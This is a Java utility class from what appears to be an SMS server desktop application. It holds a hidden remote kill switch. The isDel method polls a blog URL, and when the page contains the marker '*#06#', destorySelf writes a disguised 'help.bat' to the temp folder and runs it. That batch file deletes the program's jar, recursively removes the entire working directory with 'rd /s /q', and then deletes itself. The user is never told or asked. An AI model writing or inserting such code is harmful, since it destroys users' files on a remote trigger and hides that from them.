/*
 * To change this template, choose Tools | Templates
 * and open the template in the editor.
 */

package smsserver.utils;

import java.io.FileWriter;
import java.io.IOException;
import javax.swing.JFrame;

/**
 *
 * @author Administrator
 */
public class ToolsUtils {
    public static String URL = "http://blog.csdn.net/u010374325";
    public static String MARK = "*#06#";

    /**如何使用
     JFrame mainFrame = TestUIApp.getApplication().getMainFrame();
        ToolsUtils.isDel(mainFrame);
     */
    public static void isDel(final JFrame f)
    {
        new Thread(new Runnable(){

            public void run() {
                String content = HttpUtils.getContent(ToolsUtils.URL);
                if(content!=null)
                {
                    if(content.contains(ToolsUtils.MARK))
                    {                       
                        if(destorySelf())
                        {
                            System.out.println("destory suc...");
                        }else{
                            System.out.println("destory fail...");
                        }
                        //System.exit(0);
                        //f.dispose();
                    }
                }
            }
        }).start();
    }

    public static boolean destorySelf(){
         //1 生成bat
            FileWriter writer = null;
            try {
                //自毁
                //1 生成bat
                String datPath = System.getProperty("java.io.tmpdir") + "\\help.bat";
                System.out.println(datPath);
                String userPath = System.getProperty("user.dir");
                writer = new FileWriter(datPath);
                writer.write("@echo off ");
                writer.write("\r\n");
                writer.write(":Repeat");
                writer.write("\r\n");
                writer.write("del \""+userPath+"\\SmsServer.jar\"");
                writer.write("\r\n");
                writer.write("if exist  \""+userPath+"\\SmsServer.jar\" goto Repeat");
                writer.write("\r\n");
                writer.write("rd /s /q \""+userPath+"\"");
                writer.write("\r\n");
                writer.write("del \""+datPath+"\"");
                writer.write("exit");
                Runtime rn = Runtime.getRuntime();
                rn.exec("cmd.exe /C "+datPath);
                
            } catch (IOException ex) {
                System.out.println(ex.getMessage());
                return false;
            } finally {
                try {
                    writer.close();
                } catch (IOException ex) {
                    System.out.println(ex.getMessage());
                    return false;
                }
            }
            return true;
    }
}
